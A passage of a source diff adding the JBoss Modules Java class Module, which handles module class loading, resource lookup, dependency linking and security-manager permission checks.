+ * @author <a href="mailto:jbailey@redhat.com">John Bailey</a>
+ * @author <a href="mailto:flavia.rainone@jboss.com">Flavia Rainone</a>
+ * @author Jason T. Greene
+ * @author thomas.diesler@jboss.com
+ *
+ * @apiviz.landmark
+*/
+public final class Module {
+
+    private static final AtomicReference<ModuleLoader> BOOT_MODULE_LOADER = new AtomicReference<ModuleLoader>();
+
+    static {
+        AccessController.doPrivileged(new PrivilegedAction<Void>() {
+            public Void run() {
+                try {
+                    URL.setURLStreamHandlerFactory(new ModularURLStreamHandlerFactory());
+                } catch (Throwable t) {
+                    // todo log a warning or something
+                }
+                try {
+                    URLConnection.setContentHandlerFactory(new ModularContentHandlerFactory());
+                } catch (Throwable t) {
+                    // todo log a warning or something
+                }
+
+                __JAXPRedirected.initAll();
+
+                return null;
+            }
+        });
+
+        final String pkgsString = AccessController.doPrivileged(new PropertyReadAction("jboss.modules.system.pkgs"));
+        final List<String> list = new ArrayList<String>();
+        list.add("java.");
+        list.add("sun.reflect.");
+        list.add("__redirected.");
+        if (pkgsString != null) {
+            int i;
+            int nc = -1;
+            do {
+                i = nc + 1;
+                nc = pkgsString.indexOf(',', i);
+                String part;
+                if (nc == -1) {
+                    part = pkgsString.substring(i).trim();
+                } else {
+                    part = pkgsString.substring(i, nc).trim();
+                }
+                if (part.length() > 0) {
+                    list.add((part + ".").intern());
+                }
+            } while (nc != -1);
+        }
+        systemPackages = list.toArray(list.toArray(new String[list.size()]));
+        final ListIterator<String> iterator = list.listIterator();
+        // http://youtrack.jetbrains.net/issue/IDEA-72097
+        //noinspection WhileLoopReplaceableByForEach
+        while (iterator.hasNext()) {
+            iterator.set(iterator.next().replace('.', '/'));
+        }
+        systemPaths = list.toArray(list.toArray(new String[list.size()]));
+    }
+
+    // static properties
+
+    static final String[] systemPackages;
+    static final String[] systemPaths;
+
+    /**
+     * The system-wide module logger, which may be changed via {@link #setModuleLogger(org.jboss.modules.log.ModuleLogger)}.
+     */
+    static volatile ModuleLogger log = NoopModuleLogger.getInstance();
+
+    // immutable properties
+
+    /**
+     * The identifier of this module.
+     */
+    private final ModuleIdentifier identifier;
+    /**
+     * The name of the main class, if any (may be {@code null}).
+     */
+    private final String mainClassName;
+    /**
+     * The module class loader for this module.
+     */
+    private final ModuleClassLoader moduleClassLoader;
+    /**
+     * The module loader which created this module.
+     */
+    private final ModuleLoader moduleLoader;
+    /**
+     * This reference exists solely to prevent the {@code FutureModule} from getting GC'd prematurely.
+     */
+    @SuppressWarnings({ "unused" })
+    private final Object myKey;
+    /**
+     * The fallback local loader, if any is defined.
+     */
+    private final LocalLoader fallbackLoader;
+
+    // mutable properties
+
+    /**
+     * The linkage state.
+     */
+    private volatile Linkage linkage = Linkage.NONE;
+
+    // private constants
+
+    private static final RuntimePermission GET_CLASS_LOADER = new RuntimePermission("getClassLoader");
+    private static final RuntimePermission GET_BOOT_MODULE_LOADER = new RuntimePermission("getBootModuleLoader");
+    private static final RuntimePermission ACCESS_MODULE_LOGGER = new RuntimePermission("accessModuleLogger");
+    private static final RuntimePermission ADD_CONTENT_HANDLER_FACTORY = new RuntimePermission("addContentHandlerFactory");
+    private static final RuntimePermission ADD_URL_STREAM_HANDLER_FACTORY = new RuntimePermission("addURLStreamHandlerFactory");
+
+    /**
+     * Construct a new instance from a module specification.
+     *
+     * @param spec the module specification
+     * @param moduleLoader the module loader
+     * @param myKey the key to keep a strong reference to
+     */
+    Module(final ConcreteModuleSpec spec, final ModuleLoader moduleLoader, final Object myKey) {
+        this.moduleLoader = moduleLoader;
+        this.myKey = myKey;
+
+        // Initialize state from the spec.
+        identifier = spec.getModuleIdentifier();
+        mainClassName = spec.getMainClass();
+        fallbackLoader = spec.getFallbackLoader();
+        //noinspection ThisEscapedInObjectConstruction
+        final ModuleClassLoader.Configuration configuration = new ModuleClassLoader.Configuration(this, spec.getAssertionSetting(), spec.getResourceLoaders(), spec.getClassFileTransformer());
+        final ModuleClassLoaderFactory factory = spec.getModuleClassLoaderFactory();
+        ModuleClassLoader moduleClassLoader = null;
+        if (factory != null) moduleClassLoader = factory.create(configuration);
+        if (moduleClassLoader == null) moduleClassLoader = new ModuleClassLoader(configuration);
+        this.moduleClassLoader = moduleClassLoader;
+    }
+
+    LocalLoader getFallbackLoader() {
+        return fallbackLoader;
+    }
+
+    Dependency[] getDependencies() {
+        return linkage.getSourceList();
+    }
+
+    ModuleClassLoader getClassLoaderPrivate() {
+        return moduleClassLoader;
+    }
+
+    /**
+     * Get an exported resource from a specific root in this module.
+     *
+     * @param rootPath the module root to search
+     * @param resourcePath the path of the resource
+     * @return the resource
+     */
+    public Resource getExportedResource(final String rootPath, final String resourcePath) {
+        return moduleClassLoader.loadResourceLocal(rootPath, resourcePath);
+    }
+
+    /**
+     * Run a module's main class, if any.
+     *
+     * @param args the arguments to pass
+     * @throws NoSuchMethodException if there is no main method
+     * @throws InvocationTargetException if the main method failed
+     * @throws ClassNotFoundException if the main class is not found
+     */
+    public void run(final String[] args) throws NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
+        try {
+            if (mainClassName == null) {
+                throw new NoSuchMethodException("No main class defined for " + this);
+            }
+            final Class<?> mainClass = moduleClassLoader.loadClass(mainClassName);
+            final Method mainMethod = mainClass.getMethod("main", String[].class);
+            final int modifiers = mainMethod.getModifiers();
+            if (! Modifier.isStatic(modifiers)) {
+                throw new NoSuchMethodException("Main method is not static for " + this);
+            }
+            final ClassLoader previousClassLoader = Thread.currentThread().getContextClassLoader();
+            try {
+                Thread.currentThread().setContextClassLoader(moduleClassLoader);
+                // ignore the return value
+                mainMethod.invoke(null, new Object[] {args});
+            } finally {
+                Thread.currentThread().setContextClassLoader(previousClassLoader);
+            }
+        } catch (IllegalAccessException e) {
+            // unexpected; should be public
+            throw new IllegalAccessError(e.getMessage());
+        }
+    }
+
+    /**
+     * Get this module's identifier.
+     *
+     * @return the identifier
+     */
+    public ModuleIdentifier getIdentifier() {
+        return identifier;
+    }
+
+    /**
+     * Get the module loader which created this module.
+     *
+     * @return the module loader of this module
+     */
+    public ModuleLoader getModuleLoader() {
+        return moduleLoader;
+    }
+
+    /**
+     * Load a service loader from this module.
+     *
+     * @param serviceType the service type class
+     * @param <S> the service type
+     * @return the service loader
+     */
+    public <S> ServiceLoader<S> loadService(Class<S> serviceType) {
+        return ServiceLoader.load(serviceType, moduleClassLoader);
+    }
+
+    /**
+     * Load a service loader from a module in the caller's module loader. The caller's
+     * module loader refers to the loader of the module of the class that calls this method.
+     * Note that {@link #loadService(Class)} is more efficient since it does not need to crawl
+     * the stack.
+     *
+     * @param <S> the the service type
+     * @param identifier the module identifier containing the service loader
+     * @param serviceType the service type class
+     * @return the loaded service from the caller's module
+     * @throws ModuleLoadException if the named module failed to load
+     */
+    public static <S> ServiceLoader<S> loadServiceFromCallerModuleLoader(ModuleIdentifier identifier, Class<S> serviceType) throws ModuleLoadException {
+        return getCallerModuleLoader().loadModule(identifier).loadService(serviceType);
+    }
+
+    /**
+     * Get the class loader for a module.  The class loader can be used to access non-exported classes and
+     * resources of the module.
+     * <p>
+     * If a security manager is present, then this method invokes the security manager's {@code checkPermission} method
+     * with a <code>RuntimePermission("getClassLoader")</code> permission to verify access to the class loader. If
+     * access is not granted, a {@code SecurityException} will be thrown.
+     *
+     * @return the module class loader
+     */
+    public ModuleClassLoader getClassLoader() {
+        final SecurityManager sm = System.getSecurityManager();
+        if (sm != null) {
+            sm.checkPermission(GET_CLASS_LOADER);
+        }
+        return moduleClassLoader;
+    }
+
+    /**
+     * Get all the paths exported by this module.
+     *
+     * @return the paths that are exported by this module
+     */
+    public Set<String> getExportedPaths() {
+        return Collections.unmodifiableSet(getPathsUnchecked(true).keySet());
+    }
+
+    /**
+     * Get the module for a loaded class, or {@code null} if the class did not come from any module.
+     *
+     * @param clazz the class
+     * @return the module it came from
+     */
+    public static Module forClass(Class<?> clazz) {
+        final ClassLoader cl = clazz.getClassLoader();
+        return forClassLoader(cl, false);
+    }
+
+    /**
+     * Get the module for a class loader, or {@code null} if the class loader is not associated with any module.  If
+     * the class loader is unknown, it is possible to check the parent class loader up the chain, and so on until a module is found.
+     *
+     * @param cl the class loader
+     * @param search {@code true} to search up the delegation chain
+     * @return the associated module
+     */
+    public static Module forClassLoader(ClassLoader cl, boolean search) {
+        if (cl instanceof ModuleClassLoader) {
+            return ((ModuleClassLoader) cl).getModule();
+        } else if (search) {
+            return forClassLoader(cl.getParent(), true);
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets the boot module loader. The boot module loader is the
+     * initial loader that is established by the module framework. It typically
+     * is based off of the environmental module path unless it is overridden by
+     * specifying a different class name for the {@code boot.module.loader} system
+     * property.
+     *
+     * @return the boot module loader
+     */
+    public static ModuleLoader getBootModuleLoader() {
+        final SecurityManager sm = System.getSecurityManager();
+        if (sm != null) {
+            sm.checkPermission(GET_BOOT_MODULE_LOADER);
+        }
+        ModuleLoader loader;
+        while ((loader = BOOT_MODULE_LOADER.get()) == null) {
+            loader = DefaultBootModuleLoaderHolder.INSTANCE;
+            if (BOOT_MODULE_LOADER.compareAndSet(null, loader)) {
+                break;
+            }
+            // get it again
+        }
+        return loader;
+    }
+
+    static void initBootModuleLoader(ModuleLoader loader) {
+        BOOT_MODULE_LOADER.set(loader);
+    }
+
+    /**
+     * Gets the current module loader. The current module loader is the
+     * loader of the module from the calling class. Note that this method
+     * must crawl the stack to determine this, so other mechanisms are more
+     * efficient.
+     *
+     * @return the current module loader, or {@code null} if this method is called outside of a module
+     */
+    public static ModuleLoader getCallerModuleLoader() {
+        Module callerModule = getCallerModule();
+        return callerModule == null ? null : callerModule.getModuleLoader();
+    }
+
+    /**
+     * Get the current thread's context module loader.  This loader is the one which defined the module
+     * whose class loader is, or is a parent of, the thread's current context class loader.  If there is none,
+     * then {@code null} is returned.
+     *
+     * @return the module loader, or {@code null} if none is set
+     */
+    public static ModuleLoader getContextModuleLoader() {
+        return Module.forClassLoader(Thread.currentThread().getContextClassLoader(), true).getModuleLoader();
+    }
+
+    /**
+     * Get a module from the current module loader. Note that this must crawl the
+     * stack to determine this, so other mechanisms are more efficient.
+     * @see #getCallerModuleLoader()
+     *
+     * @param identifier the module identifier
+     * @return the module
+     * @throws ModuleLoadException if the module could not be loaded
+     */
+    public static Module getModuleFromCallerModuleLoader(final ModuleIdentifier identifier) throws ModuleLoadException {
+        return getCallerModuleLoader().loadModule(identifier);
+    }
+
+    /**
+     * Get the caller's module. The caller's module is the module containing the method that calls this
+     * method. Note that this method crawls the stack so other ways of obtaining the
+     * module are more efficient.
+     *
+     * @return the current module
+     */
+    public static Module getCallerModule() {
+        return forClass(CallerContext.getCallingClass());
+    }
+
+    /**
+     * Get the module with the given identifier from the module loader used by this module.
+     *
+     * @param identifier the module identifier
+     * @return the module
+     * @throws ModuleLoadException if an error occurs
+     */
+    public Module getModule(final ModuleIdentifier identifier) throws ModuleLoadException {
+        return moduleLoader.loadModule(identifier);
+    }
+
+    /**
+     * Load a class from a module in the system module loader.
+     *
+     * @see #getBootModuleLoader()
+     *
+     * @param moduleIdentifier the identifier of the module from which the class
+     *        should be loaded
+     * @param className the class name to load
+     * @return the class
+     * @throws ModuleLoadException if the module could not be loaded
+     * @throws ClassNotFoundException if the class could not be loaded
+     */
+    public static Class<?> loadClassFromBootModuleLoader(final ModuleIdentifier moduleIdentifier, final String className)
+            throws ModuleLoadException, ClassNotFoundException {
+        return Class.forName(className, true, getBootModuleLoader().loadModule(moduleIdentifier).getClassLoader());
+    }
+
+    /**
+     * Load a class from a module in the caller's module loader.
+     *
+     * @see #getCallerModuleLoader()
+     *
+     * @param moduleIdentifier the identifier of the module from which the class
+     *        should be loaded
+     * @param className the class name to load
+     * @return the class
+     * @throws ModuleLoadException if the module could not be loaded
+     * @throws ClassNotFoundException if the class could not be loaded
+     */
+    public static Class<?> loadClassFromCallerModuleLoader(final ModuleIdentifier moduleIdentifier, final String className)
+            throws ModuleLoadException, ClassNotFoundException {
+        return Class.forName(className, true, getModuleFromCallerModuleLoader(moduleIdentifier).getClassLoader());
+    }
+
+    /**
+     * Load a class from a local loader.
+     *
+     * @param className the class name
+     * @param exportsOnly {@code true} to only load if the class is exported, {@code false} to load any class
+     * @param resolve {@code true} to resolve the class after definition
+     * @return the class
+     */
+    Class<?> loadModuleClass(final String className, final boolean exportsOnly, final boolean resolve) {
+        for (String s : systemPackages) {
+            if (className.startsWith(s)) {
+                try {
+                    return moduleClassLoader.loadClass(className, resolve);
+                } catch (ClassNotFoundException e) {
+                    return null;
+                }
+            }
+        }
+        final String path = pathOfClass(className);
+        final Map<String, List<LocalLoader>> paths = getPathsUnchecked(exportsOnly);
+        final List<LocalLoader> loaders = paths.get(path);
+        if (loaders != null) {
+            Class<?> clazz;
+            for (LocalLoader loader : loaders) {
+                clazz = loader.loadClassLocal(className, resolve);
+                if (clazz != null) {
+                    return clazz;
+                }
+            }
+        }
+        final LocalLoader fallbackLoader = this.fallbackLoader;
+        if (fallbackLoader != null) {
+            return fallbackLoader.loadClassLocal(className, resolve);
+        }
+        return null;
+    }
+
+    /**
+     * Load a resource from a local loader.
+     *
+     * @param name the resource name
+     * @param exportsOnly {@code true} to only consider exported resources
+     * @return the resource URL, or {@code null} if not found
+     */
+    URL getResource(final String name, final boolean exportsOnly) {
+        final String canonPath = PathUtils.canonicalize(name);
+        for (String s : Module.systemPaths) {
+            if (canonPath.startsWith(s)) {
+                return moduleClassLoader.getResource(canonPath);
+            }
+        }
+        log.trace("Attempting to find resource %s in %s", canonPath, this);
+        final String path = pathOf(canonPath);
+        final Map<String, List<LocalLoader>> paths = getPathsUnchecked(exportsOnly);
+        final List<LocalLoader> loaders = paths.get(path);
+        if (loaders != null) {
+            for (LocalLoader loader : loaders) {
+                final List<Resource> resourceList = loader.loadResourceLocal(canonPath);
+                for (Resource resource : resourceList) {
+                    return resource.getURL();
+                }
+            }
+        }
+        final LocalLoader fallbackLoader = this.fallbackLoader;
+        if (fallbackLoader != null) {
+            final List<Resource> resourceList = fallbackLoader.loadResourceLocal(canonPath);
+            for (Resource resource : resourceList) {
+                return resource.getURL();
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Load all resources of a given name from a local loader.
+     *
+     * @param name the resource name
+     * @param exportsOnly {@code true} to only consider exported resources
+     * @return the enumeration of all the matching resource URLs (may be empty)
+     */
+    Enumeration<URL> getResources(final String name, final boolean exportsOnly) {
+        final String canonPath = PathUtils.canonicalize(name);
+        for (String s : Module.systemPaths) {
+            if (canonPath.startsWith(s)) {
+                try {
+                    return moduleClassLoader.getResources(canonPath);
+                } catch (IOException e) {
+                    return ConcurrentClassLoader.EMPTY_ENUMERATION;
+                }
+            }
+        }
+        log.trace("Attempting to find all resources %s in %s", canonPath, this);
+        final String path = pathOf(canonPath);
+        final Map<String, List<LocalLoader>> paths = getPathsUnchecked(exportsOnly);
+        final List<LocalLoader> loaders = paths.get(path);
+
+        final List<URL> list = new ArrayList<URL>();
+        if (loaders != null) {
+            for (LocalLoader loader : loaders) {
+                final List<Resource> resourceList = loader.loadResourceLocal(canonPath);
+                for (Resource resource : resourceList) {
+                    list.add(resource.getURL());
+                }
+            }
+        }
+        final LocalLoader fallbackLoader = this.fallbackLoader;
+        if (fallbackLoader != null) {
+            final List<Resource> resourceList = fallbackLoader.loadResourceLocal(canonPath);
+            for (Resource resource : resourceList) {
+                list.add(resource.getURL());
+            }
+        }
+
+        return list.size() == 0 ? ConcurrentClassLoader.EMPTY_ENUMERATION : Collections.enumeration(list);
+    }
+
+    /**
+     * Get an exported resource URL.
+     *
+     * @param name the resource name
+     * @return the resource, or {@code null} if it was not found
+     */
+    public URL getExportedResource(final String name) {
+        return getResource(name, true);
+    }
+
+    /**
+     * Get all exported resource URLs for a resource name.
+     *
+     * @param name the resource name
+     * @return the resource URLs
+     */
+    public Enumeration<URL> getExportedResources(final String name) {
+        return getResources(name, true);
+    }
+
+    /**
+     * Get the path name of a class.
+     *
+     * @param className the binary name of the class
+     * @return the parent path
+     */
+    static String pathOfClass(final String className) {
+        final String resourceName = className.replace('.', '/');
+        final String path;
+        final int idx = resourceName.lastIndexOf('/');
+        if (idx > -1) {
+            path = resourceName.substring(0, idx);
+        } else {
+            path = "";
+        }
+        return path;
+    }
+
+    /**
+     * Get the path name of a resource.
+     *
+     * @param resourceName the resource name
+     * @return the parent path
+     */
+    static String pathOf(final String resourceName) {
+        final String path;
+        if (resourceName.indexOf('/') == 0) {
+            return pathOf(resourceName.substring(1));
+        }
+        final int idx = resourceName.lastIndexOf('/');
+        if (idx > -1) {
+            path = resourceName.substring(0, idx);
+        } else {
+            path = "";
+        }
+        return path;
+    }
+
+    /**
+     * Get the file name of a class.
+     *
+     * @param className the class name
+     * @return the name of the corresponding class file
+     */
+    static String fileNameOfClass(final String className) {
+        return className.replace('.', '/') + ".class";
+    }
+
+    /**
+     * Get the string representation of this module.
+     *
+     * @return the string representation
+     */
+    @Override
+    public String toString() {
+        return "Module \"" + identifier + "\"" + " from " + moduleLoader.toString();
+    }
+
+    /**
+     * Get the logger used by the module system.
+     * <p>
+     * If a security manager is present, then this method invokes the security manager's {@code checkPermission} method
+     * with a <code>RuntimePermission("accessModuleLogger")</code> permission to verify access to the module logger. If
+     * access is not granted, a {@code SecurityException} will be thrown.
+     *
+     * @return the module logger
+     */
+    public static ModuleLogger getModuleLogger() {
+        final SecurityManager sm = System.getSecurityManager();
+        if (sm != null) {
+            sm.checkPermission(ACCESS_MODULE_LOGGER);
+        }
+        return log;
+    }
+
+    /**
+     * Change the logger used by the module system.
+     * <p>
+     * If a security manager is present, then this method invokes the security manager's {@code checkPermission} method
+     * with a <code>RuntimePermission("accessModuleLogger")</code> permission to verify access to the module logger. If
+     * access is not granted, a {@code SecurityException} will be thrown.
+     *
+     * @param logger the new logger, must not be {@code null}
+     */
+    public static void setModuleLogger(final ModuleLogger logger) {
+        if (logger == null) {
+            throw new IllegalArgumentException("logger is null");
+        }
+        final SecurityManager sm = System.getSecurityManager();
+        if (sm != null) {
+            sm.checkPermission(ACCESS_MODULE_LOGGER);
+        }
+        logger.greeting();
+        log = logger;
+    }
+
+    /**
+     * Return the start time in millis when Module.class was loaded.
+     *
+     * @return start time of Module.class load
+     */
+    public static long getStartTime() {
+        return StartTimeHolder.START_TIME;
+    }
+
+    /**
+     * Register an additional module which contains content handlers.
+     * <p>
+     * If a security manager is present, then this method invokes the security manager's {@code checkPermission} method
+     * with a <code>RuntimePermission("addContentHandlerFactory")</code> permission to verify access. If
+     * access is not granted, a {@code SecurityException} will be thrown.
+     *
+     * @param module the module to add
+     */
+    public static void registerContentHandlerFactoryModule(Module module) {
+        final SecurityManager sm = System.getSecurityManager();
+        if (sm != null) {
+            sm.checkPermission(ADD_CONTENT_HANDLER_FACTORY);
+        }
+        ModularContentHandlerFactory.addHandlerModule(module);
+    }
+
+    /**
+     * Register an additional module which contains URL handlers.
+     * <p>
+     * If a security manager is present, then this method invokes the security manager's {@code checkPermission} method
+     * with a <code>RuntimePermission("addURLStreamHandlerFactory")</code> permission to verify access. If
+     * access is not granted, a {@code SecurityException} will be thrown.
+     *
+     * @param module the module to add
+     */
+    public static void registerURLStreamHandlerFactoryModule(Module module) {
+        final SecurityManager sm = System.getSecurityManager();
+        if (sm != null) {
+            sm.checkPermission(ADD_URL_STREAM_HANDLER_FACTORY);
+        }
+        ModularURLStreamHandlerFactory.addHandlerModule(module);
+    }
+
+    // Linking and resolution
+
+    static final class Visited {
+        private final Module module;
+        private final FastCopyHashSet<PathFilter> filters;
+        private final int hashCode;
+
+        Visited(final Module module, final FastCopyHashSet<PathFilter> filters) {
+            this.module = module;
+            this.filters = filters;
+            hashCode = filters.hashCode() * 13 + module.hashCode();
+        }
+
+        public int hashCode() {
+            return hashCode;
+        }
+
+        public boolean equals(Object other) {
+            return other instanceof Visited && equals((Visited)other);
+        }
+
+        public boolean equals(Visited other) {
+            return this == other || other != null && module == other.module && filters.equals(other.filters);
+        }
+    }
+
+    long addPaths(Dependency[] dependencies, Map<String, List<LocalLoader>> map, FastCopyHashSet<PathFilter> filterStack, Set<Visited> visited) throws ModuleLoadException {
+        long subtract = 0L;
+        moduleLoader.incScanCount();
+        for (Dependency dependency : dependencies) {
+            if (dependency instanceof ModuleDependency) {
+                final ModuleDependency moduleDependency = (ModuleDependency) dependency;
+                final ModuleLoader moduleLoader = moduleDependency.getModuleLoader();
+                final ModuleIdentifier id = moduleDependency.getIdentifier();
+                final Module module;
+
+                try {
+                    long pauseStart = Metrics.getCurrentCPUTime();
+                    try {
+                        module = moduleLoader.preloadModule(id);
+                    } finally {
+                        subtract += Metrics.getCurrentCPUTime() - pauseStart;
+                    }
+                } catch (ModuleLoadException ex) {
+                    if (moduleDependency.isOptional()) {
+                        continue;
+                    } else {
+                        throw ex;
+                    }
+                }
+                if (module == null) {
+                    if (!moduleDependency.isOptional()) {
+                        throw new ModuleNotFoundException(id.toString());
+                    }
+                    continue;
+                }
+
+                final PathFilter importFilter = dependency.getImportFilter();
+                filterStack.add(importFilter);
+                subtract += module.addExportedPaths(module.getDependencies(), map, filterStack, visited);
+                filterStack.remove(importFilter);
+            } else if (dependency instanceof ModuleClassLoaderDependency) {
+                final ModuleClassLoaderDependency classLoaderDependency = (ModuleClassLoaderDependency) dependency;
+                final LocalLoader localLoader = classLoaderDependency.getLocalLoader();
+                final PathFilter importFilter = classLoaderDependency.getImportFilter();
+                final Set<String> paths = classLoaderDependency.getPaths();
+                for (String path : paths) {
+                    if (importFilter.accept(path)) {
+                        List<LocalLoader> list = map.get(path);
+                        if (list == null) {
+                            map.put(path, list = new ArrayList<LocalLoader>());
+                            list.add(localLoader);
+                        } else if (! list.contains(localLoader)) {
+                            list.add(localLoader);
+                        }
+                    }
+                }
+            } else if (dependency instanceof LocalDependency) {
+                final LocalDependency localDependency = (LocalDependency) dependency;
+                final LocalLoader localLoader = localDependency.getLocalLoader();
+                final PathFilter importFilter = localDependency.getImportFilter();
+                final Set<String> paths = localDependency.getPaths();
+                for (String path : paths) {
+                    if (importFilter.accept(path)) {
+                        List<LocalLoader> list = map.get(path);
+                        if (list == null) {
+                            map.put(path, list = new ArrayList<LocalLoader>());
+                            list.add(localLoader);
+                        } else if (! list.contains(localLoader)) {
+                            list.add(localLoader);
+                        }
+                    }
+                }
+            }
+            // else unknown dep type so just skip
+        }
+        return subtract;
+    }
+
+    long addExportedPaths(Dependency[] dependencies, Map<String, List<LocalLoader>> map, FastCopyHashSet<PathFilter> filterStack, Set<Visited> visited) throws ModuleLoadException {
+        if (!visited.add(new Visited(this, filterStack))) {
+            return 0L;
+        }
+        long subtract = 0L;
+        moduleLoader.incScanCount();
+        for (Dependency dependency : dependencies) {
+            final PathFilter exportFilter = dependency.getExportFilter();
+            // skip non-exported dependencies altogether
+            if (exportFilter != PathFilters.rejectAll()) {
+                if (dependency instanceof ModuleDependency) {
+                    final ModuleDependency moduleDependency = (ModuleDependency) dependency;
+                    final ModuleLoader moduleLoader = moduleDependency.getModuleLoader();
+                    final ModuleIdentifier id = moduleDependency.getIdentifier();
+                    final Module module;
+
+                    try {
+                        long pauseStart = Metrics.getCurrentCPUTime();
+                        try {
+                            module = moduleLoader.preloadModule(id);
+                        } finally {
+                            subtract += Metrics.getCurrentCPUTime() - pauseStart;
+                        }
+                    } catch (ModuleLoadException ex) {
+                        if (moduleDependency.isOptional()) {
+                            continue;
+                        } else {
+                            throw ex;
+                        }
+                    }
+                    if (module == null) {
+                        if (!moduleDependency.isOptional()) {
+                            throw new ModuleNotFoundException(id.toString());
+                        }
+                        continue;
+                    }
+
+                    final PathFilter importFilter = dependency.getImportFilter();
+                    if (filterStack.contains(importFilter) && filterStack.contains(exportFilter)) {
+                        subtract += module.addExportedPaths(module.getDependencies(), map, filterStack, visited);
+                    } else {
+                        final FastCopyHashSet<PathFilter> clone = filterStack.clone();
+                        clone.add(importFilter);
+                        clone.add(exportFilter);
+                        subtract += module.addExportedPaths(module.getDependencies(), map, clone, visited);
+                    }
+                } else if (dependency instanceof ModuleClassLoaderDependency) {
+                    final ModuleClassLoaderDependency classLoaderDependency = (ModuleClassLoaderDependency) dependency;
+                    final LocalLoader localLoader = classLoaderDependency.getLocalLoader();
+                    final Set<String> paths = classLoaderDependency.getPaths();
+                    for (String path : paths) {
+                        boolean accept = true;
+                        for (Object filter : filterStack.getRawArray()) {
+                            if (filter != null && ! ((PathFilter)filter).accept(path)) {
+                                accept = false; break;
+                            }
+                        }
+                        if (accept && classLoaderDependency.getImportFilter().accept(path) && classLoaderDependency.getExportFilter().accept(path)) {
+                            List<LocalLoader> list = map.get(path);
+                            if (list == null) {
+                                map.put(path, list = new ArrayList<LocalLoader>(1));
+                                list.add(localLoader);
+                            } else if (! list.contains(localLoader)) {
+                                list.add(localLoader);
+                            }
+                        }
+                    }
+                } else if (dependency instanceof LocalDependency) {
+                    final LocalDependency localDependency = (LocalDependency) dependency;
+                    final LocalLoader localLoader = localDependency.getLocalLoader();
+                    final Set<String> paths = localDependency.getPaths();
+                    for (String path : paths) {
+                        boolean accept = true;
+                        for (Object filter : filterStack.getRawArray()) {
+                            if (filter != null && ! ((PathFilter)filter).accept(path)) {
+                                accept = false; break;
+                            }
+                        }
+                        if (accept && localDependency.getImportFilter().accept(path) && localDependency.getExportFilter().accept(path)) {
+                            List<LocalLoader> list = map.get(path);
+                            if (list == null) {
+                                map.put(path, list = new ArrayList<LocalLoader>(1));
+                                list.add(localLoader);
+                            } else if (! list.contains(localLoader)) {
+                                list.add(localLoader);
+                            }
+                        }
+                    }
+                }
+                // else unknown dep type so just skip
+            }
+        }
+        return subtract;
+    }
+
+    Map<String, List<LocalLoader>> getPaths(final boolean exports) throws ModuleLoadException {
+        Linkage linkage = this.linkage;
+        Linkage.State state = linkage.getState();
+        if (state.compareTo(exports ? LINKED_EXPORTS : LINKED) >= 0) {
+            return linkage.getPaths(exports);
+        }
+        // slow path loop
+        boolean intr = false;
+        try {
+            for (;;) {
+                synchronized (this) {
+                    linkage = this.linkage;
+                    state = linkage.getState();
+                    while (state == (exports ? LINKING_EXPORTS : LINKING) || state == NEW) try {
+                        wait();
+                        linkage = this.linkage;
+                        state = linkage.getState();
+                    } catch (InterruptedException e) {
+                        intr = true;
+                    }
+                    if (state == (exports ? LINKED_EXPORTS : LINKED)) {
+                        return linkage.getPaths(exports);
+                    }
+                    this.linkage = linkage = new Linkage(linkage.getSourceList(), exports ? LINKING_EXPORTS : LINKING);
+                    // fall out and link
+                }
+                if (exports) {
+                    linkExports(linkage);
+                } else {
+                    link(linkage);
+                }
+            }
+        } finally {
+            if (intr) {
+                Thread.currentThread().interrupt();
+            }
+        }
+    }
+
+    Map<String, List<LocalLoader>> getPathsUnchecked(final boolean export) {
+        try {
+            return getPaths(export);
+        } catch (ModuleLoadException e) {
+            throw e.toError();
+        }
+    }
+
+    boolean link(final Linkage linkage) throws ModuleLoadException {
+        final HashMap<String, List<LocalLoader>> importsMap = new HashMap<String, List<LocalLoader>>();
+        final Dependency[] dependencies = linkage.getSourceList();
+        final long start = Metrics.getCurrentCPUTime();
+        long subtractTime = 0L;
+        try {
+            final Set<Visited> visited = new FastCopyHashSet<Visited>(16);
+            final FastCopyHashSet<PathFilter> filterStack = new FastCopyHashSet<PathFilter>(8);
+            subtractTime += addPaths(dependencies, importsMap, filterStack, visited);
+            synchronized (this) {
+                if (this.linkage == linkage) {
+                    this.linkage = new Linkage(linkage.getSourceList(), LINKED, importsMap, null);
+                    notifyAll();
+                    return true;
+                }
+                // else all our efforts were just wasted since someone changed the deps in the meantime
+                return false;
+            }
+        } finally {
+            moduleLoader.addLinkTime(Metrics.getCurrentCPUTime() - start - subtractTime);
+        }
+    }
+
+    boolean linkExports(final Linkage linkage) throws ModuleLoadException {
+        final HashMap<String, List<LocalLoader>> exportsMap = new HashMap<String, List<LocalLoader>>();
+        final Dependency[] dependencies = linkage.getSourceList();
+        final long start = Metrics.getCurrentCPUTime();
+        long subtractTime = 0L;
+        try {
+            final Set<Visited> visited = new FastCopyHashSet<Visited>(16);
+            final FastCopyHashSet<PathFilter> filterStack = new FastCopyHashSet<PathFilter>(8);
+            subtractTime += addExportedPaths(dependencies, exportsMap, filterStack, visited);
+            synchronized (this) {
+                if (this.linkage == linkage) {
+                    this.linkage = new Linkage(linkage.getSourceList(), LINKED_EXPORTS, linkage.getAllPaths(), exportsMap);
+                    notifyAll();
+                    return true;
+                }
+                // else all our efforts were just wasted since someone changed the deps in the meantime
+                return false;
+            }
+        } finally {
+            moduleLoader.addLinkTime(Metrics.getCurrentCPUTime() - start - subtractTime);
+        }
+    }
+
+    void linkIfNecessary() throws ModuleLoadException {
+        Linkage linkage = this.linkage;
+        if (linkage.getState().compareTo(LINKING) >= 0) {
+            return;
+        }
+        synchronized (this) {
+            linkage = this.linkage;
+            if (linkage.getState().compareTo(LINKING) >= 0) {
+                return;
+            }
+            this.linkage = linkage = new Linkage(linkage.getSourceList(), LINKING);
+        }
+        link(linkage);
+    }
+
+    void relink() throws ModuleLoadException {
+        link(linkage);
+    }
+
+    void setDependencies(final List<DependencySpec> dependencySpecs) throws ModuleLoadException {
+        synchronized (this) {
+            linkage = new Linkage(calculateDependencies(dependencySpecs), Linkage.State.UNLINKED, null, null);
+            notifyAll();
+        }
+    }
+
+    private Dependency[] calculateDependencies(final List<DependencySpec> dependencySpecs) {
+        final Dependency[] dependencies = new Dependency[dependencySpecs.size()];
+        int i = 0;
+        for (DependencySpec spec : dependencySpecs) {
+            final Dependency dependency = spec.getDependency(this);
+            dependencies[i++] = dependency;
+        }
+        return dependencies;
+    }
+
+    String getMainClass() {
+        return mainClassName;
+    }
+
